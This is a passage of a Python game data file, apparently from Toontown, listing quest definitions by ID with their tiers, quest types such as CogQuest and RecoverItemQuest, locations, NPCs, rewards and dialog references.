3205: (DG_TIER + 1, Cont, (RecoverItemQuest, 5400, 1, 33, Medium, 'ym'), 5402, Same, 100, NA, TTLocalizer.QuestDialogDict[3205]), 3206: (DG_TIER + 1, Start, (VisitQuest,), Any, 5225, NA, 3207, TTLocalizer.QuestDialogDict[3206]), 3207: (DG_TIER + 1, Start, (RecoverItemQuest, 5200, 10, 32, Medium, Any), 5225, Same, 101, NA, TTLocalizer.QuestDialogDict[3207]), 3208: (DG_TIER + 1, OBSOLETE, (CogQuest, ToontownGlobals.DaisyGardens, 10, 'cc'), Any, ToonHQ, NA, 3209, TTLocalizer.QuestDialogDict[3208]), 3209: (DG_TIER + 1, OBSOLETE, (CogQuest, ToontownGlobals.DaisyGardens, 10, 'tm'), Same, Same, 202, NA, TTLocalizer.QuestDialogDict[3209]), 3247: (DG_TIER + 1, OBSOLETE, (CogQuest, ToontownGlobals.DaisyGardens, 20, 'b'), Any, ToonHQ, 202, NA, TTLocalizer.QuestDialogDict[3247]), 3212: (DG_TIER + 1, Start, (VisitQuest,), Any, 5208, NA, 3213, TTLocalizer.QuestDialogDict[3212]), 3213: (DG_TIER + 1, Start, (RecoverItemQuest, ToontownGlobals.DaisyGardens, 1, 5005, VeryHard, Any), 5208, Same, NA, 3214, TTLocalizer.QuestDialogDict[3213]), 3214: (DG_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.DaisyGardens, 1, 5006, VeryHard, Any), Same, Same, NA, 3215, TTLocalizer.QuestDialogDict[3214]), 3215: (DG_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.DaisyGardens, 1, 5007, VeryHard, Any), Same, Same, NA, 3216, TTLocalizer.QuestDialogDict[3215]), 3216: (DG_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.DaisyGardens, 1, 5008, VeryHard, Any), Same, Same, 202, NA, TTLocalizer.QuestDialogDict[3216]), 3222: (DG_TIER + 1, Start, (VisitQuest,), Any, 5310, NA, 3223, TTLocalizer.QuestDialogDict[3222]), 3223: (DG_TIER + 1, Start, (RecoverItemQuest, Anywhere, 5, 34, Hard, AnyFish), 5310, Same, NA, 3224, TTLocalizer.QuestDialogDict[3223]), 3224: (DG_TIER + 1, Cont, (BuildingQuest, Anywhere, 2, Any, 1), Same, Same, 202, NA, TTLocalizer.QuestDialogDict[3224]), 3236: (DG_TIER + 1, OBSOLETE, (BuildingQuest, Anywhere, 3, 'l', 2), Any, ToonHQ, NA, 3237, TTLocalizer.QuestDialogDict[3236]), 3237: (DG_TIER + 1, OBSOLETE, (BuildingQuest, Anywhere, 3, 's', 2), Same, Same, 702, NA, TTLocalizer.QuestDialogDict[3237]), 3238: (DG_TIER + 1, Start, (VisitQuest,), Any, 5321, NA, 3239, TTLocalizer.QuestDialogDict[3238]), 3239: (DG_TIER + 1, Start, (RecoverItemQuest, Anywhere, 1, 23, Hard, 'ca'), 5321, Same, NA, 3240, TTLocalizer.QuestDialogDict[3239]), 3240: (DG_TIER + 1, Cont, (RecoverItemQuest, Anywhere, 10, 36, Easy, 'ca'), Same, Same, 302, NA, TTLocalizer.QuestDialogDict[3240]), 3241: (DG_TIER + 1, OBSOLETE, (BuildingQuest, Anywhere, 5, Any, 3), Any, ToonHQ, 102, NA, TTLocalizer.QuestDialogDict[3241]), 3250: (DG_TIER + 1, Start, (VisitQuest,), Any, 5224, NA, (3251, 3300), TTLocalizer.QuestDialogDict[3250]), 3251: (DG_TIER + 1, Start, (VisitQuest,), 5224, 5214, NA, 3252, TTLocalizer.QuestDialogDict[3251]), 3252: (DG_TIER + 1, Cont, (CogQuest, 5200, 4, 'bs'), 5214, Same, NA, 3253, TTLocalizer.QuestDialogDict[3252]), 3253: (DG_TIER + 1, Cont, (BuildingQuest, ToontownGlobals.DaisyGardens, 3, 'l', 1), Same, Same, NA, 3254, TTLocalizer.QuestDialogDict[3253]), 3300: (DG_TIER + 1, Start, (VisitQuest,), 5224, 5413, NA, 3301, TTLocalizer.QuestDialogDict[3300]), 3301: (DG_TIER + 1, Cont, (CogTrackQuest, 5400, 10, 'c'), 5413, Same, NA, 3302, TTLocalizer.QuestDialogDict[3301]), 3302: (DG_TIER + 1, Cont, (BuildingQuest, ToontownGlobals.DaisyGardens, 3, 'c', 1), Same, Same, NA, 3303, TTLocalizer.QuestDialogDict[3302]), 3303: (DG_TIER + 1, Cont, (VisitQuest,), Same, 5224, 502, NA, TTLocalizer.QuestDialogDict[3303]), 3254: (DG_TIER + 1, Cont, (VisitQuest,), Same, 5224, 502, NA, TTLocalizer.QuestDialogDict[3254]), 3257: (DG_TIER + 1, Start, (VisitQuest,), Any, 5102, NA, 3258, TTLocalizer.QuestDialogDict[3257]), 3258: (DG_TIER + 1, Cont, (CogQuest, Anywhere, 9, 'ms'), 5102, Same, NA, 3259, TTLocalizer.QuestDialogDict[3258]), 3259: (DG_TIER + 1, Cont, (CogQuest, Anywhere, 6, 'tf'), Same, Same, NA, 3260, TTLocalizer.QuestDialogDict[3259]), 3260: (DG_TIER + 1, Cont, (BuildingQuest, ToontownGlobals.DaisyGardens, 1, 's', 3), Same, Same, NA, (3261, 3255), TTLocalizer.QuestDialogDict[3260]), 3261: (DG_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.SellbotHQ, 1, 62, Hard, 's', 'track'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[3261]), 3255: (DG_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.SellbotHQ, 1, 63, Hard, 's', 'track'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[3255]), 3262: (DG_TIER + 1, OBSOLETE, (VisitQuest,), Any, 5202, NA, 3263, TTLocalizer.QuestDialogDict[3262]), 3263: (DG_TIER + 1, OBSOLETE, (RecoverItemQuest, 5200, 10, 35, Easy, 'l', 'track'), 5202, Same, 702, NA, TTLocalizer.QuestDialogDict[3263]), 3304: (DG_TIER + 1, Start, (VisitQuest,), Any, 5415, NA, 3305, TTLocalizer.QuestDialogDict[3304]), 3305: (DG_TIER + 1, Start, (VisitQuest,), 5415, 5410, NA, 3306, TTLocalizer.QuestDialogDict[3305]), 3306: (DG_TIER + 1, Cont, (CogQuest, ToontownGlobals.DaisyGardens, 5, 'mm'), 5410, Same, NA, 3307, TTLocalizer.QuestDialogDict[3306]), 3307: (DG_TIER + 1, Cont, (VisitQuest,), Same, 5415, NA, 3308, TTLocalizer.QuestDialogDict[3307]), 3308: (DG_TIER + 1, Cont, (VisitQuest,), 5415, 5411, NA, 3309, TTLocalizer.QuestDialogDict[3308]), 3309: (DG_TIER + 1, Cont, (RecoverItemQuest, 5400, 5, 68, 80, 'm', 'track'), 5411, Same, 702, NA, TTLocalizer.QuestDialogDict[3309]), 3264: (DG_TIER + 1, Start, (VisitQuest,), Any, 5213, NA, 3265, TTLocalizer.QuestDialogDict[3264]), 3265: (DG_TIER + 1, Start, (BuildingQuest, ToontownGlobals.DaisyGardens, 1, Any, 3), 5213, Same, 808, NA, TTLocalizer.QuestDialogDict[3265]), 3266: (DG_TIER + 1, Start, (VisitQuest,), Any, 5219, NA, 3267, TTLocalizer.QuestDialogDict[3266]), 3267: (DG_TIER + 1, Start, (BuildingQuest, ToontownGlobals.DaisyGardens, 1, Any, 4), 5219, Same, 814, NA, TTLocalizer.QuestDialogDict[3267]), 3500: (DG_TIER + 1, Start, (CogQuest, ToontownGlobals.DaisyGardens, 25, Any), Any, ToonHQ, NA, 3501, DefaultDialog), 3501: (DG_TIER + 1, Cont, (DeliverItemQuest, 1000), Any, 5007, 1000, NA, DefaultDialog), 4001: (DG_TIER, Start, (TrackChoiceQuest,), Any, ToonHQ, 400, NA, TTLocalizer.QuestDialogDict[4001]), 4010: (DG_TIER, Start, (CogQuest, Anywhere, 16, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4011: (DG_TIER, Start, (CogQuest, Anywhere, 18, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4012: (DG_TIER, Start, (CogQuest, Anywhere, 20, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4013: (DG_TIER, Start, (CogQuest, Anywhere, 22, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4014: (DG_TIER, Start, (CogQuest, Anywhere, 24, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4015: (DG_TIER, Start, (CogQuest, Anywhere, 26, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4016: (DG_TIER, Start, (CogQuest, Anywhere, 28, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4017: (DG_TIER, Start, (CogQuest, Anywhere, 30, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4018: (DG_TIER, Start, (CogQuest, Anywhere, 32, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4019: (DG_TIER, Start, (CogQuest, Anywhere, 34, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4020: (DG_TIER, Start, (CogLevelQuest, Anywhere, 20, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4021: (DG_TIER, Start, (CogLevelQuest, Anywhere, 25, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4022: (DG_TIER, Start, (CogLevelQuest, Anywhere, 16, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4023: (DG_TIER, Start, (CogLevelQuest, Anywhere, 20, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4024: (DG_TIER, Start, (CogLevelQuest, Anywhere, 10, 5), Any, ToonHQ, Any, NA, DefaultDialog), 4025: (DG_TIER, Start, (CogLevelQuest, Anywhere, 20, 5), Any, ToonHQ, Any, NA, DefaultDialog), 4026: (DG_TIER, Start, (CogLevelQuest, Anywhere, 16, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4027: (DG_TIER, Start, (CogLevelQuest, Anywhere, 18, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4028: (DG_TIER, Start, (CogLevelQuest, Anywhere, 20, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4029: (DG_TIER, Start, (CogLevelQuest, Anywhere, 24, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4030: (DG_TIER, Start, (CogQuest, Anywhere, 45, Any), Any, ToonHQ, NA, 4031, DefaultDialog), 4031: (DG_TIER, Cont, (DeliverItemQuest, 1000), Any, 4008, 1000, NA, DefaultDialog), 4101: (MM_TIER, Start, (CogQuest, ToontownGlobals.MinniesMelodyland, 16, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4102: (MM_TIER, Start, (CogQuest, ToontownGlobals.MinniesMelodyland, 18, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4103: (MM_TIER, Start, (CogQuest, ToontownGlobals.MinniesMelodyland, 20, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4104: (MM_TIER, Start, (CogQuest, ToontownGlobals.MinniesMelodyland, 24, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4105: (MM_TIER, Start, (CogQuest, Anywhere, 28, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4106: (MM_TIER, Start, (CogQuest, Anywhere, 32, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4107: (MM_TIER, Start, (CogQuest, Anywhere, 20, 'f'), Any, ToonHQ, Any, NA, DefaultDialog), 4108: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'p'), Any, ToonHQ, Any, NA, DefaultDialog), 4109: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 4110: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 4111: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 4112: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'hh'), Any, ToonHQ, Any, NA, DefaultDialog), 4113: (MM_TIER, Start, (CogQuest, Anywhere, 20, 'cc'), Any, ToonHQ, Any, NA, DefaultDialog), 4114: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 4115: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 4116: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 4117: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'ms'), None, ToonHQ, Any, NA, DefaultDialog), 4118: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'tf'), None, ToonHQ, Any, NA, DefaultDialog), 4119: (MM_TIER, Start, (CogQuest, Anywhere, 20, 'sc'), Any, ToonHQ, Any, NA, DefaultDialog), 4120: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'pp'), Any, ToonHQ, Any, NA, DefaultDialog), 4121: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 4122: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 4123: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 4124: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'mb'), Any, ToonHQ, Any, NA, DefaultDialog), 4125: (MM_TIER, Start, (CogQuest, Anywhere, 20, 'bf'), Any, ToonHQ, Any, NA, DefaultDialog), 4126: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 4127: (MM_TIER, Start, (CogQuest, Anywhere, 16, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 4128: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 4129: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 4130: (MM_TIER, Start, (CogQuest, Anywhere, 12, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 4131: (MM_TIER, Start, (CogLevelQuest, Anywhere, 20, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4132: (MM_TIER, Start, (CogLevelQuest, Anywhere, 25, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4133: (MM_TIER, Start, (CogLevelQuest, Anywhere, 16, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4134: (MM_TIER, Start, (CogLevelQuest, Anywhere, 20, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4135: (MM_TIER, Start, (CogLevelQuest, Anywhere, 10, 5), Any, ToonHQ, Any, NA, DefaultDialog), 4136: (MM_TIER, Start, (CogLevelQuest, Anywhere, 20, 5), Any, ToonHQ, Any, NA, DefaultDialog), 4137: (MM_TIER, Start, (CogLevelQuest, Anywhere, 16, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4138: (MM_TIER, Start, (CogLevelQuest, Anywhere, 24, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4139: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 15, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 4140: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 15, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 4141: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 15, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 4142: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 15, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 4143: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 24, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 4144: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 24, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 4145: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 24, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 4146: (MM_TIER, Start, (CogTrackQuest, ToontownGlobals.MinniesMelodyland, 24, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 4147: (MM_TIER, Start, (CogTrackQuest, Anywhere, 30, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 4148: (MM_TIER, Start, (CogTrackQuest, Anywhere, 30, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 4149: (MM_TIER, Start, (CogTrackQuest, Anywhere, 30, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 4150: (MM_TIER, Start, (CogTrackQuest, Anywhere, 30, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 4151: (MM_TIER, Start, (BuildingQuest, Anywhere, 1, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4152: (MM_TIER, Start, (BuildingQuest, Anywhere, 2, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4153: (MM_TIER, Start, (BuildingQuest, Anywhere, 3, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4154: (MM_TIER, Start, (BuildingQuest, Anywhere, 4, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4155: (MM_TIER, Start, (BuildingQuest, Anywhere, 3, 'm', 3), Any, ToonHQ, Any, NA, DefaultDialog), 4156: (MM_TIER, Start, (BuildingQuest, Anywhere, 3, 's', 3), Any, ToonHQ, Any, NA, DefaultDialog), 4157: (MM_TIER, Start, (BuildingQuest, Anywhere, 3, 'c', 3), Any, ToonHQ, Any, NA, DefaultDialog), 4158: (MM_TIER, Start, (BuildingQuest, Anywhere, 3, 'l', 3), Any, ToonHQ, Any, NA, DefaultDialog), 4160: (MM_TIER, Start, (CogQuest, ToontownGlobals.SellbotHQ, 10, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4161: (MM_TIER, Start, (CogQuest, ToontownGlobals.SellbotHQ, 12, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4162: (MM_TIER, Start, (CogLevelQuest, ToontownGlobals.SellbotHQ, 6, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4163: (MM_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 4164: (MM_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 4165: (MM_TIER, Start, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4166: (MM_TIER, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 4200: (MM_TIER, Start, (VisitQuest,), Any, 4329, NA, 4201, TTLocalizer.QuestDialogDict[4200]), 4201: (MM_TIER, Start, (SkelecogQuest, 11200, 5), 4329, Same, NA, 4202, TTLocalizer.QuestDialogDict[4201]), 4202: (MM_TIER, Cont, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 10), Same, Same, 203, NA, TTLocalizer.QuestDialogDict[4202]), 4203: (MM_TIER, Cont, (VisitQuest,), Same, 4301, NA, 4204, TTLocalizer.QuestDialogDict[4203]), 4204: (MM_TIER, Cont, (CogQuest, ToontownGlobals.MinniesMelodyland, 10, Any), Same, Same, NA, 4205, TTLocalizer.QuestDialogDict[4204]), 4205: (MM_TIER, Cont, (DeliverItemQuest, 4002), Same, 4101, NA, 4206, TTLocalizer.QuestDialogDict[4205]), 4206: (MM_TIER, Cont, (VisitQuest,), Same, 4102, NA, 4207, TTLocalizer.QuestDialogDict[4206]), 4207: (MM_TIER, Cont, (VisitQuest,), Same, 4108, NA, 4208, TTLocalizer.QuestDialogDict[4207]), 4208: (MM_TIER, Cont, (DeliverGagQuest, 1, ToontownBattleGlobals.THROW_TRACK, 4), Same, Same, NA, 4209, TTLocalizer.QuestDialogDict[4208]), 4209: (MM_TIER, Cont, (DeliverItemQuest, 4003), Same, 4102, NA, 4210, TTLocalizer.QuestDialogDict[4209]), 4210: (MM_TIER, Cont, (DeliverItemQuest, 4004), Same, 4101, 203, NA, TTLocalizer.QuestDialogDict[4210]), 4211: (MM_TIER, Start, (VisitQuest,), Any, 4405, NA, 4212, TTLocalizer.QuestDialogDict[4211]), 4212: (MM_TIER, Start, (CogTrackQuest, 4400, 10, 'g'), 4405, Same, NA, 4213, TTLocalizer.QuestDialogDict[4212]), 4213: (MM_TIER, Cont, (CogQuest, 4400, 5, 'mdm'), Same, Same, NA, 4214, TTLocalizer.QuestDialogDict[4213]), 4214: (MM_TIER, Cont, (BuildingQuest, ToontownGlobals.MinniesMelodyland, 4, Any, 3), Same, Same, 303, NA, TTLocalizer.QuestDialogDict[4214]), 4215: (MM_TIER, Start, (VisitQuest,), Any, 4223, NA, 4216, TTLocalizer.QuestDialogDict[4215]), 4216: (MM_TIER, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 1), 4223, Same, NA, 4217, TTLocalizer.QuestDialogDict[4216]), 4217: (MM_TIER, Cont, (RecoverItemQuest, ToontownGlobals.SellbotHQ, 1, 38, VeryHard, 's', 'track'), Same, Same, 703, NA, TTLocalizer.QuestDialogDict[4217]), 4218: (MM_TIER, Cont, (VisitQuest,), Any, 4302, NA, 4219, TTLocalizer.QuestDialogDict[4218]), 4219: (MM_TIER, Cont, (RecoverItemQuest, Anywhere, 1, 4006, VeryHard, 'gh'), Same, Same, NA, 4220, TTLocalizer.QuestDialogDict[4219]), 4220: (MM_TIER, Cont, (DeliverItemQuest, 4006), Same, 4308, NA, 4221, TTLocalizer.QuestDialogDict[4220]), 4221: (MM_TIER, Cont, (VisitQuest,), Any, 4302, NA, 4222, TTLocalizer.QuestDialogDict[4221]), 4222: (MM_TIER, Cont, (RecoverItemQuest, Anywhere, 1, 4007, VeryHard, 'gh'), Same, Same, NA, 4223, TTLocalizer.QuestDialogDict[4222]), 4223: (MM_TIER, Cont, (DeliverItemQuest, 4007), Same, 4202, NA, 4224, TTLocalizer.QuestDialogDict[4223]), 4224: (MM_TIER, Cont, (VisitQuest,), Any, 4302, 703, NA, TTLocalizer.QuestDialogDict[4224]), 4225: (MM_TIER, Start, (VisitQuest,), Any, 4322, NA, 4226, TTLocalizer.QuestDialogDict[4225]), 4226: (MM_TIER, Start, (RecoverItemQuest, ToontownGlobals.SellbotFactoryInt, 10, 59, ModeratelyEasy, 's', 'track'), 4322, Same, 101, NA, TTLocalizer.QuestDialogDict[4226]), 4227: (MM_TIER, Start, (VisitQuest,), Any, 4212, NA, 4228, TTLocalizer.QuestDialogDict[4227]), 4228: (MM_TIER, Start, (RecoverItemQuest, ToontownGlobals.SellbotHQ, 1, 60, Medium, 's', 'track'), 4212, Same, NA, 4229, TTLocalizer.QuestDialogDict[4228]), 4229: (MM_TIER, Cont, (RecoverItemQuest, ToontownGlobals.SellbotFactoryInt, 1, 13, Medium, 's', 'track'), Same, Same, 100, NA, TTLocalizer.QuestDialogDict[4229]), 4230: (MM_TIER, Start, (VisitQuest,), Any, 4211, NA, 4231, TTLocalizer.QuestDialogDict[4230]), 4231: (MM_TIER, Start, (CogTrackQuest, 4200, 15, 'm'), 4211, Same, 102, NA, TTLocalizer.QuestDialogDict[4231]), 4232: (MM_TIER, Start, (VisitQuest,), Any, 4137, NA, 4233, TTLocalizer.QuestDialogDict[4232]), 4233: (MM_TIER, Start, (CogLevelQuest, 4100, 10, 4), 4137, Same, NA, 4234, TTLocalizer.QuestDialogDict[4233]), 4234: (MM_TIER, Cont, (CogLevelQuest, 4200, 5, 6), Same, Same, NA, 4235, TTLocalizer.QuestDialogDict[4234]), 4235: (MM_TIER, Cont, (CogLevelQuest, 4300, 3, 7), Same, Same, 101, NA, TTLocalizer.QuestDialogDict[4235]), 4236: (MM_TIER, Start, (VisitQuest,), Any, 4404, NA, 4237, TTLocalizer.QuestDialogDict[4236]), 4237: (MM_TIER, Start, (RecoverItemQuest, ToontownGlobals.MinniesMelodyland, 10, 37, Easy, Any), 4404, Same, 101, NA, TTLocalizer.QuestDialogDict[4237]), 4500: (MM_TIER, Start, (CogQuest, ToontownGlobals.MinniesMelodyland, 40, Any), Any, ToonHQ, NA, 4501, DefaultDialog), 4501: (MM_TIER, Cont, (DeliverItemQuest, 1000), Any, 4008, 1000, NA, DefaultDialog), 902: (DG_TIER + 2, Start, (VisitQuest,), Any, 5313, NA, 4903, TTLocalizer.QuestDialogDict[902]), 4903: (DG_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.SellbotHQ, 15, 's'), 5313, Same, NA, 4904, TTLocalizer.QuestDialogDict[4903]), 4904: (DG_TIER + 2, Cont, (FactoryQuest, ToontownGlobals.SellbotHQ, 1), Same, Same, 900, NA, TTLocalizer.QuestDialogDict[4904]), 4905: (DG_TIER + 2, Cont, (BuildingQuest, Anywhere, 1, Any, 1), Same, Same, NA, 4906, TTLocalizer.QuestDialogDict[4905]), 4906: (DG_TIER + 2, Cont, (DeliverItemQuest, 4010), Same, 4303, NA, 4907, TTLocalizer.QuestDialogDict[4906]), 4907: (DG_TIER + 2, Cont, (VisitQuest,), Same, 4208, NA, 4908, TTLocalizer.QuestDialogDict[4907]), 4908: (DG_TIER + 2, Cont, (BuildingQuest, Anywhere, 1, Any, 2), Same, Same, NA, 4909, TTLocalizer.QuestDialogDict[4908]), 4909: (DG_TIER + 2, Cont, (BuildingQuest, Anywhere, 1, Any, 3), Same, Same, NA, 4910, TTLocalizer.QuestDialogDict[4909]), 4910: (DG_TIER + 2, Cont, (DeliverItemQuest, 4011), Same, 4303, 900, NA, TTLocalizer.QuestDialogDict[4910]), 4810: (DG_TIER + 2, Start, (CogQuest, Anywhere, 16, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4811: (DG_TIER + 2, Start, (CogQuest, Anywhere, 18, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4812: (DG_TIER + 2, Start, (CogQuest, Anywhere, 20, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4813: (DG_TIER + 2, Start, (CogQuest, Anywhere, 22, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4814: (DG_TIER + 2, Start, (CogQuest, Anywhere, 24, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4815: (DG_TIER + 2, Start, (CogQuest, Anywhere, 26, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4816: (DG_TIER + 2, Start, (CogQuest, Anywhere, 28, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4817: (DG_TIER + 2, Start, (CogQuest, Anywhere, 30, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4818: (DG_TIER + 2, Start, (CogQuest, Anywhere, 32, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4819: (DG_TIER + 2, Start, (CogQuest, Anywhere, 34, Any), Any, ToonHQ, Any, NA, DefaultDialog), 4820: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 20, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4821: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 25, 3), Any, ToonHQ, Any, NA, DefaultDialog), 4822: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 16, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4823: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 20, 4), Any, ToonHQ, Any, NA, DefaultDialog), 4824: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 10, 5), Any, ToonHQ, Any, NA, DefaultDialog), 4825: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 20, 5), Any, ToonHQ, Any, NA, DefaultDialog), 4826: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 16, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4827: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 18, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4828: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 20, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4829: (DG_TIER + 2, Start, (CogLevelQuest, Anywhere, 24, 6), Any, ToonHQ, Any, NA, DefaultDialog), 4830: (DG_TIER + 2, Start, (CogQuest, Anywhere, 45, Any), Any, ToonHQ, NA, 4831, DefaultDialog), 4831: (DG_TIER + 2, Cont, (DeliverItemQuest, 1000), Any, 4008, 1000, NA, DefaultDialog), 5247: (BR_TIER, Start, (VisitQuest,), Any, 3112, NA, 5248, TTLocalizer.QuestDialogDict[5247]), 5248: (BR_TIER, Start, (CogLevelQuest, ToontownGlobals.TheBrrrgh, 15, 6), 3112, Same, NA, 5249, TTLocalizer.QuestDialogDict[5248]), 5249: (BR_TIER, Cont, (VisitQuest,), Same, 3102, NA, 5250, TTLocalizer.QuestDialogDict[5249]), 5250: (BR_TIER, Cont, (CogQuest, Anywhere, 5, 'rb'), 3102, Same, NA, 5258, TTLocalizer.QuestDialogDict[5250]), 5258: (BR_TIER, Cont, (CogQuest, Anywhere, 5, 'mh'), 3102, Same, NA, 5259, TTLocalizer.QuestDialogDict[5258]), 5259: (BR_TIER, Cont, (BuildingQuest, Anywhere, 5, Any, 4), Same, Same, NA, 5260, TTLocalizer.QuestDialogDict[5259]), 5260: (BR_TIER, Cont, (VisitQuest,), Same, 3112, NA, (5001), TTLocalizer.QuestDialogDict[5260]), 5001: (BR_TIER, Cont, (TrackChoiceQuest,), Same, Same, 400, NA, TTLocalizer.TheBrrrghTrackQuestDict), 5020: (BR_TIER, Start, (CogQuest, Anywhere, 36, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5021: (BR_TIER, Start, (CogQuest, Anywhere, 38, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5022: (BR_TIER, Start, (CogQuest, Anywhere, 40, Any), Any, ToonHQ, Any, NA, DefaultDialog), 5023: (BR_TIER, Start, (CogQuest, 